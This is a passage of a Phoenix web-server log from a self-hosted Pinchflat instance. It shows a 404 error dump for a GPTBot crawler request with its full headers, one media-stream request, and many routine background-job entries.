"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdmF0V2pDOWFpVXVENm1oTjlfeFA3VUE0.7mcMxaNQAY2RTjFLH74tOi9lKpSOPzftChgIlQcRUfk"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/5/media/102593/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDDjeRm6aHwnlcAJr-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256531.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/102593/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44558}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdmF0V2pDOWFpVXVENm1oTjlfeFA3VUE0.7mcMxaNQAY2RTjFLH74tOi9lKpSOPzftChgIlQcRUfk", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/media/102593/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256531.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/102593/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44558}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdmF0V2pDOWFpVXVENm1oTjlfeFA3VUE0.7mcMxaNQAY2RTjFLH74tOi9lKpSOPzftChgIlQcRUfk", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", (truncated) 04:41:10.284 [info] GET /media/d70e1aa4-850e-4edd-ab21-cb863a849905/stream 04:41:10.285 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d70e1aa4-850e-4edd-ab21-cb863a849905", "v" => "1765516132"} Pipelines: [:maybe_basic_auth] 04:41:10.286 [debug] QUERY OK source="media_items" db=0.6ms idle=642.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d70e1aa4-850e-4edd-ab21-cb863a849905"] 04:41:10.286 [debug] Invalid range request for media item: d70e1aa4-850e-4edd-ab21-cb863a849905 - serving full file 04:41:10.286 [info] Sent 200 in 1ms 04:41:26.238 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:56.240 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.413 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:26.242 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:56.244 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.414 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:26.246 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:56.248 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.415 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:26.250 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:56.252 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.416 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:26.254 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:56.256 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.417 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:26.258 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:56.260 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.418 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:26.262 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:56.264 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.419 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:26.266 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:56.268 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.420 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:26.270 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:56.272 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.421 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:26.274 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:56.276 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.422 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:26.278 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:56.280 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.423 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:26.282 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:56.284 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.424 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:26.286 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:56.288 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.425 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:26.290 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:56.292 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.426 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:26.294 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:56.296 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.427 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:26.298 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:56.300 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.428 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:26.302 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:56.304 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.429 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:26.306 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:56.308 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.430 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:26.310 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:56.312 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.431 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:00:26.314 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:56.316 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.432 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:26.318 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:56.320 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.433 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:26.322 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:56.324 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.434 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:26.326 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:56.328 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.435 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:26.330 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:56.332 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.436 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:26.334 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:56.336 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.437 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:26.338 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:56.340 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.438 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:26.342 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:56.344 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.439 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:26.346 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:56.348 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.440 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:26.350 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:56.352 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.441 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:26.354 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:56.356 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.442 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:26.358 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:56.360 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.444 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:26.362 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:56.364 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.445 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:26.366 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:56.368 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.446 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:26.370 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:56.372 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.447 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:26.374 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:56.376 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.448 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:26.378 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:56.380 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.449 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:26.382 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:56.384 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.450 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:26.386 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:56.388 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.451 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:26.390 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:56.392 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.452 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:26.394 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:56.396 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.453 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:26.398 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:56.400 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.454 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:26.402 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:56.404 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.455 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:26.406 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:56.408 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.456 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:26.410 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:56.413 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.457 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:26.415 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:56.417 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.458 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:26.419 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:56.421 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.459 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:26.423 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:56.426 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.460 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:26.428 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:56.430 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.461 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:26.432 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:56.434 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.462 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:26.436 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:56.438 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.463 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:26.440 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:56.442 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.464 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:26.444 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:56.446 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.465 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:26.448 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:56.450 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.466 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:26.452 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:56.454 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.467 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:26.456 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:56.458 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.468 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:26.460 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:56.462 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.469 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:26.464 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:56.466 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.470 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:26.468 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:56.470 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.471 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:26.472 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:56.474 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.472 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:26.476 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:56.478 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.473 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:26.480 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:56.482 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.474 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:26.484 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:56.486 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.475 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:26.489 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:56.491 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.476 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:26.493 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:56.495 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.477 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:26.497 [info] 